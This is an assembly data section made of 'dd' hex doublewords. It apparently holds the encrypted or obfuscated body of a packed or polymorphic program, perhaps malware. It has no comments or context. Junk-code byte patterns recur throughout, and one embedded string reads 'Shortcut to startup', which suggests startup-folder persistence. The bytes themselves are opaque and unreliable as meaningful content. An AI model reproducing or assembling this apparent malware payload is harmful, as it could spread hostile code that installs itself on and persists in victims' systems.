		dd 0E0F7842Eh, 0F0BEDAC9h, 0B48BDAC9h, 0E68DDEEDh, 316E852Eh
		dd 0BDC6CE74h, 0B4F9E004h, 0B4F536EDh, 1329DEEDh, 48300E3Eh
		dd 3DF9DB47h, 81C3DF68h, 0B45F84E4h, 34F3DEEDh,	0F410E42Eh
		dd 0DEFCDEEDh, 0B7968CEDh, 943FDEEDh, 3DC51DB7h, 35CBFAB9h
		dd 0A0E3FAA9h, 0F6F3DEEDh, 0C771DBFh, 0B4FCDEECh, 0B47ECD05h
		dd 93CB83EDh, 0F0934054h, 4137E745h, 0EA02B225h, 9A360E84h
		dd 0BF8C63C4h, 24A7D7D8h, 0E4A0558Bh, 3FAFAE5Bh, 819D3770h
		dd 0E47253E4h, 39EEE4ABh, 8EB96560h, 0E1DA66E4h, 31FFA98Bh
		dd 0BD4BF7B8h, 0E76011C6h, 73A0ECB5h, 7C53207Eh, 0F5E683D5h
		dd 7EDC66BBh, 0EF54EDB4h, 1A2B3D4Bh, 5E98374h, 8B58A4F3h
		dd 352CE1BDh, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 0DD061A3h, 0A84F34D7h, 3DB9661Ah
		dd 0FC00B64h, 7684h, 0FABF0F00h, 4C02B58Dh, 6A0935h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 76C6D0C3h, 857D45B3h, 3B8h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0FF982215h
		dd 52006AE6h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0B0FBB735h, 66FBB70Fh, 401A65B9h, 217BBA66h
		dd 24C19D03h
		dd 0C08B0935h, 8344D380h, 3526A1BDh, 9750009h, 3079BD83h
		dd 74000935h, 8B535019h, 403B8C0h, 85890000h, 9352CA9h
		dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h
		dd 403B853h, 85890000h,	9352CA9h, 0B1409D8Dh, 0D3FF0937h
		dd 6660585Bh, 0E960C88Bh, 12h, 0B45870A3h, 335B62D9h, 22ECE5CAh
		dd 0D6518709h, 0E281497Fh, 3FED7A84h, 0CF806161h, 5E806h
		dd 95F70000h, 0B954C0A8h, 79AD5257h, 53C08B5Ah,	0FE8h
		dd 12EB5B00h, 0A86E4E4h, 0D66C83B4h, 0A18BC2ACh, 0BEDFB966h
		dd 95895B5Bh, 9351291h,	9E861h,	8E540000h, 9308CC5Fh, 0E9ADBF2Bh
		dd 6, 90CDD929h, 895EC59Eh, 351C39BDh, 68C68109h, 6000005Dh
		dd 0BE9h, 531B7100h, 0B6DD39B7h, 2E1F48A7h, 0BE8h, 7E691400h
		dd 37DE371h, 62194196h,	850Fh, 615A0000h, 171568h, 0C2815000h
		dd 2FDA9A03h, 820F5F58h, 1, 0F1E8BF9h, 68Bh, 0B58D8B00h
		dd 81093516h, 2D4608EBh, 398D0136h, 8109351Bh, 8B5E4C3h
		dd 0C6F28071h, 0FF9AF381h, 8B607021h, 350E75BDh, 11E909h
		dd 62210000h, 3FA9AC53h, 0FE25C0Dh, 230ADF7Eh, 61FCADC1h
		dd 0EED08153h, 8F1D64DCh, 0C7EA8006h, 17FEEE81h, 14E83612h
		dd 0CF000000h, 0E1DB69ABh, 0FE9CD06Ah, 9B4FBD1Ch, 941D11B7h
		dd 8933FBD8h, 3511A1BDh, 0C6815A09h, 361217FAh,	0F18B6060h
		dd 0EE8h, 3FCC0400h, 1B568236h,	252F5B3Eh, 5B1EBDE5h, 6E861h
		dd 228E0000h, 75FCFA3h,	0EF81615Eh, 1, 0FF4F850Fh, 890FFFFFh
		dd 2, 8D8D69B2h, 93A4E04h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0E1C35747h, 86EE903Dh, 12B18529h, 858B0935h
		dd 93524DDh, 16298D89h,	6A0935h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 5902C1C3h, 0EEEB2706h
		dd 85C73E2Fh, 935287Dh,	5954h, 85C74EB3h, 9352255h, 0
		dd 2779B589h, 81660935h, 0FFCB65E8h, 35331DB5h,	595FF09h
		dd 6A09350Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 6A11C350h, 2995FF00h, 8B093508h
		dd 2E5EEBC0h, 48B9D9BDh, 0EEFB0571h, 878BF83Fh,	67CE04B3h
		dd 79B86EC8h, 0B47A0381h, 0C3A14D33h, 2EB7C260h, 0FAC1C6B5h
		dd 24949989h, 7A1668ACh, 41E12049h, 0A1B88632h,	3D11D7C0h
		dd 6E8A53C0h, 0DBF206EAh, 0BFD5AD10h, 1420F6D7h, 71D46B23h
		dd 12CC09F9h, 5E8AA3AFh, 0EE4AC20h, 103C8F79h, 308D8D04h
		dd 89093A4Fh, 3523FD8Dh, 298D8909h, 6A093516h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 15FAC355h, 0F78BA06Ch, 287D85C7h, 5E800935h,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 888F85C3h, 568DFEEFh, 0BD8B23FCh, 9351755h, 225585C7h
		dd 935h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 1A0424h, 52420000h, 30B83FC3h, 6BF375FCh, 25EDB58Bh
		dd 0B5FF0935h, 9350C45h, 0A7C186BEh, 1DBF6657h,	595FF59h
		dd 6009350Dh, 2D9B509h,	7E90935h, 72000000h, 0C1C58550h
		dd 6A614A7Fh, 2995FF00h, 8B093508h, 5148EBC0h, 7B8BC36h
		dd 23EB028h, 0A7E75C40h, 0A1B51BE3h, 0D07939DBh, 47346F75h
		dd 72238D4Dh, 0B2883C67h, 0C6CB1AF5h, 0DF8F920Fh, 0D2694095h
		dd 0D03522A0h, 0EA4F06B1h, 0A584BE6Dh, 46C9A95Eh, 7FC2583Eh
		dd 0B2252A85h, 20837A10h, 0D9B620CEh, 7AD9A354h, 0BE97F32h
		dd 24012F32h, 8B59EC6Ah, 80050B76h, 9B050B76h, 12F32h
		dd 0C80FEC62h, 0D49653F9h, 0B267DB35h, 0A9701Fh, 3F6AB3Dh
		dd 16B2F32h, 8002C761h,	1B212F32h, 7C8874F1h, 54802B16h
		dd 81C2B16h, 57422F32h,	33D6CFF1h, 0CAF3B900h, 3DB986Ch
		dd 750E928Fh, 0A40E2F3Bh, 10012F71h, 0E0572F58h, 4012F31h
		dd 5CC27112h, 5255BBBh,	84256BB3h, 40012F26h, 79C27974h
		dd 10013BDAh, 0AFADDE32h, 0EB403B9Ch, 0AE009503h, 48E272E5h
		dd 769FCCDh, 0F59C06F4h, 7B081A3Ch, 1000ABDBh, 98E59C32h
		dd 410C661h, 9D292F32h,	0BC62102Dh, 5B77110Eh, 0A9FB0EE6h
		dd 7BE4DE94h, 15E87962h, 0E4012F32h, 0D4D88D2Dh, 0B788BF69h
		dd 83408F3h, 0A44D2E3Dh, 120145CCh, 20012CDAh, 0D35B0F32h
		dd 2C55A668h, 2045AE36h, 2013736h, 0C2536D32h, 47FC9AADh
		dd 4CE87758h, 8012F32h,	50031182h, 0EBA6C86Eh, 87A09A29h
		dd 26B03F2h, 102C760h, 0DA212F32h, 148875F1h, 64802B16h
		dd 101C2B16h, 5A432F32h, 555CA2F1h, 2D59AE3Eh, 0E843064Ah
		dd 80012F26h, 12CBC17Eh, 0EAB661E7h, 0C562B843h, 859921A7h
		dd 0B3979E72h, 836727B9h, 67AFCDC4h, 8FFD67B9h,	400123BBh
		dd 26892032h, 1F012F32h, 8012FB2h, 3D804932h, 860ED004h
		dd 1012F4Eh, 68502F58h,	40012F31h, 79C27612h, 142563BBh
		dd 0C256BB3h, 4012F28h,	0E4C27E73h, 0BB7D9C7h, 4182B176h
		dd 22BC913Bh, 19814670h, 928420DBh, 0B7012F32h,	73A533A0h
		dd 64006EB9h, 2C0B48Dh,	0D10145FAh, 40012CDAh, 0E3580F32h
		dd 344DA66Bh, 2C45AE36h, 4013936h, 0C1506E32h, 57C1E576h
		dd 85C0AC68h, 697892B9h, 19802607h, 9B4264A2h, 83EAA3Dh
		dd 918A2F32h, 0B340DBFh, 4D03A2BFh, 806B2607h, 4002C767h
		dd 7D212F32h, 7C8872F1h, 4C802B16h, 41D2B16h, 57442F32h
		dd 14C7EEF1h, 7B45D212h, 0C60E81BDh, 20012F33h,	13B9D7CEh
		dd 0F7012F32h, 0D7804ED3h, 40066DD8h, 4E7C92BFh, 0D8C2608h
		dd 493B7EFCh, 0B2825B8Ah, 0D1841C33h, 23081A1Dh, 20E8EEFDh
		dd 0D9B620CEh, 7AD9A354h, 0BE97F32h, 24012F32h,	8B59EC6Ah
		dd 80050B76h, 0F305E983h, 6AC08BA4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 4D9CC355h
		dd 0B5893004h, 9352D25h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0EBC35545h, 0CE8C38Bh, 9E000000h, 0ED479472h
		dd 1345414Ah, 66F6EE80h, 5FA069BEh, 73E2C781h, 2AB80000h
		dd 0B95152D7h, 29E7535Eh, 4F94F181h, 858929E7h,	9352C6Dh
		dd 5AF537FFh, 0F281F28Bh, 0DFBB902h, 1F499D89h,	0F2810935h
		dd 344357A8h, 0C7C08166h, 77F28136h, 802EB046h,	0E9525CD3h
		dd 6, 0B0F0492Ah, 78FC8D6h, 0C0816657h,	835EB80Ch, 0EE902EFh
		dd 0B8000000h, 52F57A2Ah, 84E733E6h, 0B1AB373Ch, 8B4F4FEFh
		dd 35269185h, 1E98309h,	19850Fh, 9D290000h, 93512D5h, 24E9h
		dd 0A0E0C800h, 0DA91C8E0h, 0C57CE175h, 0F96B5652h, 0FFFF7FE9h
		dd 0E6B329FFh, 0C56DFBF2h, 0D4F6B339h, 36B4CF52h, 0E68D8D99h
		dd 0E9093A53h, 0Ch, 0A7485F2Ah,	8824407Ah, 73B6C16Ah, 16298D89h
		dd 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0DE0F42C3h, 6EFF2EA1h, 85C7BCC5h,	935287Dh
		dd 6ED0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0AAC35242h, 0BD436BF0h,	8961FCDCh, 35018585h, 5585C709h
		dd 93522h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B5CEC350h, 69AD5CE6h,	0DAB70F45h
		dd 0F3D78166h, 95B5FFFAh, 6A093530h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C0FCC355h
		dd 0EE53A458h, 0D0595FFh, 810F0935h, 5,	77DDBFh, 7E95Dh
		dd 52240000h, 95528ABFh, 0FF006A25h, 35082995h,	0EBC08B09h
		dd 9D328E6Eh, 0E4FF84C8h, 1465FD33h, 4CDB0E16h,	0A5A8203Ah
		dd 6C6AB5FAh, 1C4898Fh,	0B8BDC796h, 9E64C65Eh, 0D9EA0371h
		dd 0DE43F608h, 4117B68Dh, 6D720188h, 0EFF8E3D6h, 54F40CAEh
		dd 55C2DE3Eh, 63A3D62Dh, 3154EDC1h, 18663711h, 0CDA89843h
		dd 81777E9h, 323C1174h,	238C41B3h, 40DC4163h, 0B2DDDD36h
		dd 82AB5278h, 3BF1C4F9h, 8D1918ECh, 3A55578Dh, 8D89F509h
		dd 9351629h, 287D85C7h,	5FC40935h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8B56B2C3h
		dd 15858975h, 8B093528h, 352779B5h, 5585C709h, 93522h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BFC6C351h, 6C017A9Eh,	8AE17BECh
		dd 0B5FFFA8Ah, 93506B5h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0C5C35040h, 13E8h, 0EFC15500h, 5680EBB1h
		dd 38278D89h, 5AEACA16h, 5033E961h, 0DE9h, 0A7A21500h
		dd 7068B674h, 0DDFF7357h, 0FC5B13ACh, 0D0595FFh, 6A0935h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 4898E3C3h, 5D64DB66h, 7E906E2h, 0
		dd 858FB8F4h, 6A3DBAh, 82995FFh, 0C08B0935h, 0D9571CEBh
		dd 90D2B973h, 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h, 9FE2CC79h
		dd 0EB684769h, 4EBBCA9h, 127E638Fh, 592E9h, 3196C400h
		dd 6079F46Ch, 2FAAC53Bh, 6572EA6Eh, 30A9C038h, 2FDBB06Bh
		dd 86FAA336h, 2DB3E8EDh, 83F5A633h, 7A9F2EFh, 0ECB319C7h
		dd 0F6A712FBh, 0A3302ED0h, 2B47AC53h, 1D9F43AEh, 0E25C9801h
		dd 7C7E4E4Bh, 2C01F5E2h, 0D41FB8B4h, 20D3CC60h,	2A904E7Ah
		dd 1E1C3641h, 0ECE98678h, 0FE9B9608h, 250F8EF3h, 0AC726020h
		dd 0A01537BDh, 5946DA54h, 1E820D75h, 0EF7776C5h, 0B0AE3207h
		dd 1A11AB23h, 0EA04918Fh, 0E07B8507h, 0B42C01F5h, 30D61DBAh
		dd 0F806938Eh, 0F7797861h, 3968DFFh, 0F3E47CF0h, 8918C00h
		dd 0BAAAFBE9h, 6C58C5BFh, 0FEEC8799h, 6AB5497Ch, 4D64863Ah
		dd 8D743C97h, 0AAC63A63h, 9E20C62Dh, 59DB1683h,	27C0079Dh
		dd 0E1C51C36h, 795540DFh, 3627616Bh, 0A353551Ch, 2865664Eh
		dd 3F895014h, 7Eh, 0AE2B4790h, 4211B543h, 2C411C36h, 0C82BAEC5h
		dd 0D547AA44h, 10B63D5Ch, 3641E8D2h, 23BADC1Ch,	733116FEh
		dd 1C364149h, 80559B3Dh, 87C6876Dh, 0E0894FF9h,	1, 0AF2A47AFh
		dd 445DD044h, 94233BADh, 3641644Eh, 0B03E601Ch,	8091641Ch
		dd 30900D22h, 7B2959F2h, 1C357D51h, 0A94DA345h,	29BEB62Ah
		dd 0C84CA732h, 0C759CB26h, 0BC2917DAh, 7DE02DC8h, 5049E497h
		dd 99954Bh, 2E47B89Bh, 396723ABh, 1C364193h, 0E956187h
		dd 275C2468h, 0CD527E41h, 0AC971DC7h, 0EB931C35h, 35AD0FB5h
		dd 0BE50B1Ch, 0E5FC71EBh, 472D9E0Eh, 7F1CBDB4h,	757C65F9h
		dd 82716C03h, 318FEF9Fh, 3D305C94h, 100451A5h, 7928933h
		dd 0E48C68ECh, 895020B9h, 55CEh, 2E47FD00h, 5BD448ABh
		dd 0CF4EB33Eh, 7E1B12E5h, 0D7C25B1Dh, 37B0A81Ch, 0A0539D38h
		dd 577C68BDh, 28CCCD65h, 50005588h, 593289h, 15610000h
		dd 8C6875EBh, 908E1B12h, 6F811C13h, 60FE7281h, 0C9615B73h
		dd 79D24D0h, 0E27B0EF6h, 4CE5D7F7h, 0D222A64Dh,	2A4756F5h
		dd 0A008A3BFh, 0F7EFDFC7h, 856C826Ch, 356BD0F7h, 91F1D51Ch
		dd 95101DC1h, 0C10EE6A4h, 37D3FAD3h, 25978950h,	0E0648F0Ah
		dd 16514h, 15260000h, 0D9B9AEADh, 0FAFA6E95h, 0DAF2EF80h
		dd 0A97F4AA2h, 4FE4CB9Dh, 48ECD453h, 6F558B6Eh,	6B1C358Ch
		dd 7D23AB45h, 1C358C37h, 0CA49AD33h, 36BDDA56h,	1CEFD546h
		dd 3A059603h, 8917B76Fh, 1502AE5Eh, 7C507C22h, 0AE289250h
		dd 7A1C1300h, 0AE6268h,	78426013h, 6C1300AEh, 9E56586Ah
		dd 38B1AD1Fh, 0B335BC25h, 1666603Dh, 371D2BBEh,	0DA54A0B9h
		dd 0A9A5946h, 1300D7C2h, 0B84331D2h, 9E623BA4h,	9D0C2582h
		dd 58DC1782h, 17D95B96h, 0EBF468DCh, 5742D9E3h,	4DE6189Ch
		dd 0CF27A948h, 8173E050h, 0F0DA08C4h, 0E41300D7h, 0A4B832C2h
		dd 1D70623Bh, 4A928564h, 129h, 0D39B2E89h, 2CB0435Eh, 4DD40AC2h
		dd 0D515035Fh, 563033EDh, 6F879302h, 2ED41FC1h,	0D3CC605Ah
		dd 7C469C20h, 78130085h, 100C7E76h, 911B4E59h, 764AFAF5h
		dd 142D20EEh, 4E4FA1F8h, 0EA09968Ah, 705A8844h,	64130126h
		dd 2438B242h, 0ADC438BBh, 0DA53C52Ch, 0B24154CFh, 4331C02Eh
		dd 0FD07E2D2h, 5DD1A490h, 1A735744h, 4D928515h,	47h, 0EFEA8779h
		dd 872E6807h, 7EF507C7h, 9BEF9B5Bh, 819F0A21h, 9517DA14h
		dd 4219D361h, 0B8D1C36h, 417258E8h, 4D811C36h, 0D91DB8B3h
		dd 0DDD4988Ch, 0C923C10Dh, 0DD1C3641h, 7AA8E2BBh, 0E4000000h
		dd 9A5946DAh, 2E3FDE16h, 0B30BC39Bh, 0B0F6E89Fh, 31DD1932h
		dd 2FBCC73h, 322EC015h,	34A84BA5h, 7AFE9F38h, 897FCBE6h
		dd 11CA8C6h, 237404EFh,	0E91300CBh, 0C15D281Ch,	866871E8h
		dd 0A77F4A15h, 9FAD7927h, 4F510BD6h, 2F954B7Fh,	2B1C271Fh
		dd 0F9E47B85h, 6E0276FDh, 41928271h, 0EA847653h, 728206EDh
		dd 0C4DAD4DFh, 1C271FFEh, 0D2FAF4FAh, 0FCF5000Ch, 0A9F2F414h
		dd 0C39B2E0Ah, 1749D50Bh, 13B7150Ch, 0FBECE7CDh, 948FE312h
		dd 0A4B4B734h, 651BDB15h, 203CB043h, 0C82BAEC7h, 6FF1AA44h
		dd 597EF6F3h, 19D8169Ah, 37BAF08Bh, 0B32C40FEh,	4851CC40h
		dd 0F3E144A9h, 0A29213F8h, 8E3E5BD7h, 0BA1EA43Ah, 661A09B7h
		dd 2292E067h, 0AF519FE0h, 4BCD24B1h, 160ACEABh,	0A7BB4589h
		dd 2AC9D64Ah, 27A948A6h, 44DC50CFh, 0CB0A053h, 8F627FF2h
		dd 0A89CE90Dh, 0F46841DDh, 9B9408EBh, 7F71F3FEh, 0CD635D71h
		dd 0A2372ED0h, 2FD17552h, 0DD4FA732h, 18745841h, 0B83F408Ah
		dd 42B23409h, 0AD3BBh, 8D2F0000h, 68EC0792h, 844FE58Ch
		dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
		dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh
		dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 4B9568h, 243C8900h
		dd 0C5968h, 24348900h, 3FD3B850h, 58BF7052h, 81570224h
		dd 5953ACE7h, 0D1EF8178h, 0F712AF3Dh, 8E7C1DFh,	8105EFC1h
		dd 0EE7C08C7h, 58C73173h, 24348B54h, 5104C483h,	4E89F989h
		dd 240C8B08h, 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 52243C8Bh, 0C281E289h, 4,	4C281h,	14870000h
		dd 0C9E95C24h, 0FEFFFB23h, 79356584h, 0B80AC5E4h, 93A5A7Fh
		dd 0E0FFC503h, 0EE013F2h, 65E7A26Dh, 495F3656h,	3EE4671Ch
		dd 45669895h, 7168974Fh, 4FA6C503h, 40D74A28h, 2ECA0DBCh
		dd 3BAC72Ah, 0E660176h,	3D28B46Fh, 4A91C9EFh, 1FC219BFh
		dd 54A25741h, 23519D8Dh, 39B80935h, 89000000h, 35277585h
		dd 0E809h, 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 6E8h, 0BDC79600h, 52C65EB8h
		dd 14E952h, 0E1E00000h,	7FD9DB81h, 44D4D012h, 59C32830h
		dd 5095EF25h, 5858906Eh, 7E95Fh, 93D70000h, 4C614768h
		dd 0C1C781D8h, 8A000061h, 0FFDB2BE5h, 4DB43B34h, 11E85Ah
		dd 2E7E0000h, 0E1D5C7BEh, 22A560DCh, 60B2888h, 0F819B71h
		dd 68Bh, 860F00h, 59000000h, 42CF281h, 81662363h, 81EAB5C1h
		dd 983508F2h, 81CDB440h, 352273C2h, 0DE967h, 878B0000h
		dd 67CE04B3h, 79B86EC8h, 897A0381h, 14E81F14h, 42000000h
		dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 58F7B3E8h
		dd 182BF681h, 0EB835556h, 0FE801h, 860F0000h, 0F95455B3h
		dd 0F32C056h, 0CA95894Eh, 4B4B5857h, 8B66514Bh,	0FB8158CBh
		dd 0FFFF9F40h, 11850Fh,	0E9FC0000h, 22h, 6585B015h, 4896682Ch
		dd 81F5C3A4h, 72BD1FC8h, 0FF41E962h, 3276FFFFh,	0D8AC7415h
		dd 70FCBDA3h, 6CEBA57Bh, 726F6853h, 74756374h, 206F7420h
		dd 72617473h, 707574h, 14h dup(0)
		dd 501ACFF5h, 1, 0EFAE9h, 5EE06800h, 69E9093Ah,	68FFFBE8h
		dd 93A5FEDh, 0FBE85FE9h, 616D68FFh, 55E9093Ah, 68FFFBE8h
		dd 93A61B3h, 0FBE84BE9h, 627B68FFh, 41E9093Ah, 68FFFBE8h
		dd 93A6308h, 0FBE837E9h, 66EA68FFh, 2DE9093Ah, 68FFFBE8h
		dd 93A69E9h, 0FBE823E9h, 6AA968FFh, 19E9093Ah, 41FFFBE8h
		dd 0BCCBD08Eh, 4A356616h, 0AFD0DD81h, 4C3B601Eh, 2CC8D585h
		dd 0B8A62D81h, 3A3A94F3h, 0BEBE1671h, 462692EDh, 0CB4A3755h
		dd 0CF87DD59h, 0CEE991FAh, 40435A1Ah, 94A3D494h, 0C1633A3Ah
		dd 4B9CABF2h, 0E4D93C4Dh, 0AFCF82A6h, 0F1EFA679h, 71CF82A6h
		dd 0A8578F0Eh, 39F9B1D1h, 7Eh, 0ED8D3750h, 1D0EDCD6h, 0F629557Eh
		dd 0F7A1DDF1h, 7994D400h, 7990792Fh, 0B0DD458Eh, 0E1AFCE87h
		dd 41C07325h, 0CF82FC54h, 0ABD3F80Fh, 714A1074h, 7CF03FB8h
		dd 76A22B06h, 1E5E7681h, 0F2B7A5FFh, 0CB85D826h, 6E23784Bh
		dd 0CF82C770h, 5A704D81h, 6E997422h, 7DD4B860h,	2D895300h
		dd 69CCA47Bh, 897EF82Ah, 8460FEE3h, 0E3E888DFh,	9600A47Bh
		dd 85F9189Bh, 0F9B162DEh, 0CB07h, 1ACE4F00h, 587F2D5Ah
		dd 3EE2A9h, 95D0C37Eh, 573636A2h, 4289F6CDh, 0D206011Ch
		dd 7D8A7B92h, 9EEA2551h, 4C2C98A3h, 33FFAE5Fh, 0D80CC64Eh
		dd 40749398h, 0F13AED20h, 4ED8844Ah, 7896B339h,	2CB1AC4Ch
		dd 0F4A92C15h, 5FCF8356h, 3C7C0C9h, 6C759BCh, 9C8CCF83h
		dd 5572370Ah, 14718686h, 0D8BABB46h, 0C9BECB5Dh, 304F5C02h
		dd 4B9DE199h, 4E7562D7h, 0C93972Bh, 0E3EE0000h,	755DAA73h
		dd 0EEE32409h, 735CAB70h, 0E6ED1A03h, 2EC9B378h, 0A28BF3DAh
		dd 0C0ED6965h, 4C5109BFh, 0C4E9893Bh, 0C41EA7D0h, 97CF87DEh
		dd 7CE4AE4h, 540ABFB8h,	0BC26EF39h, 9FC64D80h, 0F10E1F89h
		dd 63326BC7h, 87AC7940h, 0EC235B70h, 551D0E98h,	0EA1F1D0Eh
		dd 6ACBA42h, 0CFF9CFCAh, 821470AFh, 5A3FC6AFh, 9CF8336h
		dd 8DA4D0FEh, 21417304h, 35736DD8h, 30E8CF83h, 0D44AA7E6h
		dd 1DCF8335h, 91D6C9B5h, 1F4A4539h, 83352CB6h, 25F92FCFh
		dd 7FF92B6Ah, 0A64D8110h, 2FF9B146h, 0A4h, 17B7D0B7h, 0C6500CC6h
		dd 145480EBh, 97C70EF9h, 85D21978h, 96A1C64Dh, 46F4222h
		dd 506790D0h, 7B0D0078h, 32A6E1C8h, 822A5B32h, 46DAF866h
		dd 0AB8632h, 5DE81117h,	0CF833A40h, 0A7988593h,	3A4F3840h
		dd 832549DBh, 231E0ACFh, 0D64CBB1Ah, 1D0BD8BAh,	0E5F4DBECh
		dd 0F4B96FEFh, 4E3E3C93h, 7562F1E2h, 8606DCBFh,	0E100000Bh
		dd 5CAB70EEh, 0EA150676h, 4FB07DE1h, 0EC1B007Eh, 0CCA875E5h
		dd 5806CD21h, 0DA9A3453h, 5E1EB6D1h, 0E686324Dh, 2BAAD7B5h
		dd 0CF87DFB9h, 0CE49F19Ah, 39465707h, 34BEEF8Fh, 2D5A1ACEh
		dd 8027B91Ch, 0FC2CC64Dh, 0A3155245h, 0FEEDDAC3h, 0FB8C09FEh
		dd 0BACF82A3h, 675A04CDh, 0B2B3EA3Eh, 605313C5h, 82A37B61h
		dd 1978E7CFh, 0B1D03EE5h, 7A7F9h, 2D2F0000h, 827h, 1F1D0ECDh
		dd 0ABF66BEAh, 0CB5DCF82h, 45258FD4h, 0BDBD2758h, 3E90A7E2h
		dd 0CC895F3Eh, 0D5816AA8h, 47C67D2Bh, 36C6D403h, 72D3E693h
		dd 34BE9370h, 797E35E3h, 1D5D871Ah, 0A5C5EF10h,	5C887F6Ah
		dd 3BA8251Ch, 0B834BE93h, 2F346B13h, 0CFABE298h, 0D8CFFD1Ch
		dd 4D319AADh, 6F029176h, 9F82545h, 938B9500h, 58D034BEh
		dd 0D7B6A02Dh, 0DF09764Dh, 811809Fh, 2634BE94h,	17C150BFh
		dd 8F394657h, 24F3B0EFh, 0C972D324h, 1C611187h,	2D701F0Ch
		dd 5F1FB3C4h, 0A2CDE440h, 0BF463339h, 683E8EFEh, 0CCBD9B8Dh
		dd 1193F320h, 3CF7A96Bh, 0ED0E52BDh, 8DF80135h,	15EBCD93h
		dd 166150C8h, 53B2C7C5h, 1F20ED06h, 3D9E4A3Dh, 52B6E995h
		dd 843FC9C4h, 0D3D0CF59h, 4F30404h, 7C66EFCEh, 0DF0CF8D2h
		dd 59E4DF49h, 314E56FCh, 0C10A7D16h, 7026829Dh,	83447087h
		dd 94990F4Fh, 0DD214173h, 3AF3CC67h, 60BD7C2h, 6100000Ah
		dd 0DC2BF06Eh, 6A9586F6h, 0CF30FD61h, 6C9B80FEh, 4C28F565h
		dd 0D8864DA1h, 5A1AB4D3h, 0DE9E3651h, 6606B2CDh, 0AB2A5735h
		dd 0CF87E139h, 0D0C9711Ah, 366911B7h, 6054DFD2h, 0E548FC00h
		dd 0AED17560h, 9C018h, 0C2B01B00h, 3824AED9h, 0BFBF1473h
		dd 423C91EEh, 0B7A72E59h, 0B5F0EE6h, 7A8596C4h,	4032854h
		dd 609F8CCCh, 0E527F474h, 0E18799FCh, 0BFCCCF87h, 0DB7D037h
		dd 0E7A27F6Dh, 9AFDB698h, 48289CA7h, 0C3BB1255h, 0ABFDAFDAh
		dd 6517931Ch, 0C8F6C47h, 901AF9A3h, 2F17283Ch, 5FA9E49Ah
		dd 5ECDFAC9h, 0D3AC295Eh, 0A2CF82B0h, 0F5A7D076h, 63CED580h
		dd 43C2712Fh, 914046A2h, 3740488Fh, 0AD489CEh, 110C1C98h
		dd 0B2C7C516h, 43263D53h, 0A9215691h, 9C4EDAB5h, 0D4844778h
		dd 0F5029455h, 9F92CA02h, 2F96A396h, 8ED306B5h,	1ECB8B44h
		dd 6F8EA6Bh, 0CD5B8ED3h, 0E9DB685Bh, 7163A489h,	63430DF1h
		dd 0C3D6BDE5h, 8F81Fh, 0FA785300h, 80FCD631h, 0F7676C9Bh
		dd 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch, 1C6B302Ch
		dd 0A8D7C4B4h, 1D6F3C3Ch, 0E24FD134h, 7704CF87h, 5A1ACEFFh
		dd 0D0884043h, 81384ACBh, 0F239C64Dh, 6C389DEAh, 0EBCF87DDh
		dd 4C3D4C3Dh, 87DC57C9h, 152CFCCFh, 0B61FBE2Ah,	0CF87DC2Ch
		dd 8510F92Fh, 0CF87DC9Bh, 0EDBE68C0h, 47462692h, 0CAC5B51Ch
		dd 0B92BAA9Fh, 9ACF87DCh, 9776E0EDh, 9BA89B0Dh,	21394535h
		dd 807C5AB9h, 86BC99Dh,	0BC60000h, 0AD25624Bh, 369BECB1h
		dd 0AB246348h, 4E8582ABh, 0C6710B10h, 0FA235B72h, 8895C10Dh
		dd 4295177h, 8C91D103h,	0ECF65F88h, 6FCF87E3h, 1ACE921Ch
		dd 3542435Ah, 59E6DD99h, 0F3100F6Fh, 4E7A0988h,	0B65DFD2Eh
		dd 15F084F3h, 0FFB2AA22h, 53280h, 1D0EC600h, 142EA1Fh
		dd 0B735AC0h, 1F7AA361h, 0E8BC1924h, 6FCF8833h,	0DB7D0B9h
		dd 0A82D1C6Dh, 0CF878B3Eh, 97FE0B1Dh, 0CF878B8Dh, 2675ACEh
		dd 0BCD3D145h, 0F3F81655h, 6EECE348h, 0DE9E342Fh, 0F817E4BFh
		dd 6CBAA429h, 80F4238Ah, 80D290D3h, 4F02h, 180E4800h, 7E68ED1Ah
		dd 7DC64D80h, 0DDCA7DEFh, 0A14A4334h, 1F8F0F95h, 0AC2651C7h
		dd 784BDDB0h, 0B9CEBB6Dh, 0D1336A14h, 5E086DE2h, 8CE6B552h
